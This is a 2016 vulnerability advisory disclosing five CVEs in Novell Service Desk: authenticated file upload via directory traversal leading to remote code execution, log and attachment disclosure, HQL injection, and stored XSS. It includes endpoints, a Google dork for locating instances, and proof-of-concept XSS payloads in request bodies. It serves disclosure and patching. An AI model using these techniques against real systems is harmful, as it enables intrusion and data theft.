`Hi,  
  
Novell Service Desk (now rebranded as Micro Focus Service Desk) 7.1.0  
and below has a number of critical vulnerabilities that allow remote  
code execution, information disclosure, etc, by authenticated users.  
Check the full advisory below for details. Novell / Micro Focus have  
documented these vulnerabilities on their website at [1], [2], [3] and  
[4] (see the References part at the bottom of the advisory).  
  
The full advisory can be obtained from my repo at [A]. A Metasploit  
module that achieves RCE with the directory traversal and file upload  
has been submitted at [B].  
  
Regards,  
Pedro

--------------------------  
>> Multiple vulnerabilities in Novell Service Desk 7.1.0, 7.0.3 and 6.5  
>> Discovered by Pedro Ribeiro ([email protected]), Agile Information  
Security  
=================================================================================  
Disclosure: 30/03/2016 / Last updated: 10/04/2016  
  
>> Background on the affected products:  
"Novell Service Desk 7.1.0 is a complete service management solution  
that allows you to easily monitor and solve services issues so that  
there is minimal disruption to your organization, which allows users to  
focus on the core business. Novell Service Desk provides an online  
support system to meet the service requirements of all your customers,  
administrators, supervisors, and technicians"  
  
  
>> Summary:  
Novell Service Desk has several vulnerabilities including a file upload  
function that can be exploited to achieve authenticated remote code  
execution. The product appears to be a rebranded version of Absolute  
Service (another help desk system). The latter has not been tested but  
it is likely to contain the same vulnerabilities as Novell Service Desk.  
The Google dork for this application is inurl:"LiveTime/WebObjects".  
Version 7.2 and above now appear to be branded as "Micro Focus Service  
Desk".  
Advisories for these vulnerabilities can be found in the Micro Focus  
site at [1], [2], [3] and [4].  
  
  
>> Technical details:  
#1  
Vulnerability: Arbitrary file upload via directory traversal (leading to  
remote code execution)  
CVE-2016-1593  
Constraints: Administrator account needed  
Affected versions:  
- NSD 7.1.0  
- NSD 7.0.3  
- NSD 6.5  
- Possibly earlier versions  
  
The User -> Customers -> Import function allows an administrator to  
upload files. The path specified in the filename parameter can be  
traversed using ../ characters and upload a JSP file to the Tomcat  
directory.  
  
The default path to be traversed is /LiveTime/Uploads/ on the Novell  
Service Desk Virtual Appliance Demo.

#2  
Vulnerability: Information disclosure (Download System logs as any  
authenticated user - even unprivileged customers)  
CVE-2016-1594  
Constraints: User / client account needed  
Affected versions:  
- NSD 7.0.3  
- NSD 6.5  
- Possibly earlier versions  
  
GET /LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadLogFiles  
Contains the full error log, license and system information (operating  
system, java version, database, etc).  
  
  
#3  
Vulnerability: Information disclosure (Download any attachment from any  
client as an authenticated user - even unprivileged customers)  
CVE-2016-1594  
Constraints: User / client account needed  
Affected versions:  
- NSD 7.1.0  
- NSD 7.0.3  
- NSD 6.5  
- Possibly earlier versions  
  
GET  
/LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadFile?attachmentId=1&entityName=ItemTypeAttach  
  
Possible entityNames are:  
KbaAttachment  
ServiceAttachment  
IncidentAttachment  
ItemAttach  
ProjectAttachment  
GroupAttachment  
ContractAttachment  
ItemTypeAttach  
  
Cycling through all attachmentId numbers will yield all attachments for  
each entityName.  
  
  
#4  
Vulnerability: Hibernate Query Language (HQL) injection  
CVE-2016-1595  
Constraints: User / client account needed  
Affected versions:  
- NSD 7.1.0  
- NSD 7.0.3  
- NSD 6.5  
- Possibly earlier versions  
  
GET  
/LiveTime/WebObjects/LiveTime.woa/wa/DownloadAction/downloadFile?attachmentId=1&entityName=<HQL  
injection here>  
  
Input is passed directly to Hibernate (line 125 of DownloadAction.class):  
List<?> attachments =  
((com.livetime.Session)session()).getDbSession().createQuery(new  
StringBuilder().append("from ").append(hasEn).append(" as attach where  
attach.attachmentId = ").append(hasId.intValue()).toString()).list();  
  
hasEn is entityName (string) and hasId is attachmentId (integer)  
  
  
#5  
Vulnerability: Stored Cross Site Scripting (XSS)  
CVE-2016-1596  
Constraints: User / client account needed  
Affected versions:  
- NSD 7.1.0  
- NSD 7.0.3  
- NSD 6.5  
- Possibly earlier versions  
  
Several sections of the web application are vulnerable to stored cross  
site scripting. This includes the administrator portal (when logged in  
as an administrator, technician, manager or other administrative user),  
the end user portal (when logged in as a normal end user) and the  
forums. The vulnerabilities below are just examples as the vulnerability  
is present in many different pages.  
  
a)  
In the customer portal, clicking the user name will allow you to edit  
your display name.  
The fields tf_aClientFirstName and tf_aClientLastName are also  
vulnerable to stored XSS. Other fields might be vulnerable but have not  
been tested.  
Example:  
tf_aClientFirstName=Jos"><script>alert(1)</script>e&tf_aClientEmail=aa%40aa.bb&tf_aClientLastName="><script>alert(2)</script>Guestaa  
  
This can be used to attack an administrator or any other management  
user, as the name will be changed globally. If an administrator sees the  
list of users an alert box will pop up.  
  
b)  
In the Forums the content section is vulnerable when creating a new topic.  
The affected parameter is ta_selectedTopicContent.  
Example:  
tf_selectedTopicTitle=aaaaa&ta_selectedTopicContent="><script>alert(2)</script>&ButtonSave=Save  
  
The alert box will pop up when you view the topic.  
  
c)  
In User -> Organizational Units, the name parameter is vulnerable  
(tf_orgUnitName) when you are creating a new Organizational Unit.  
Example:  
POST /LiveTime/WebObjects/LiveTime.woa/wo/18.0.53.21.0.4.1.3.0.1 HTTP/1.1  
  
-----------------------------3162880314525  
Content-Disposition: form-data; name="tf_orgUnitName"  
  
"><script>alert(1)</script>  
  
The alert box will pop up when you view the Organizational Units page  
and possibly in other pages.  
  
d)  
In Configuration -> Vendors, the manufacturer name, address and city  
parameters are vulnerable when you are creating a new Vendor.  
Example:  
tf_aManufacturerFullName="><script>alert(1)</script>&tf_aManufacturerName="><script>alert(1)</script>&tf_aManufacturerAddress="><script>alert(1)</script>&tf_aManufacturerCity="><script>alert(1)</script>&tf_aManufacturerPostalCode=&pu_countryDGDisplayedObjects=WONoSelectionString&tf_aManufacturerPhone=&tf_aManufacturerFax=&tf_aManufacturerUrl=&ButtonSave=Save  
  
Three alert boxes will pop up when you view the Vendor page and possibly  
in other pages.  
  
  
>> Fix:  
#1, #3, #4 and 5# - Upgrade to version 7.2.0
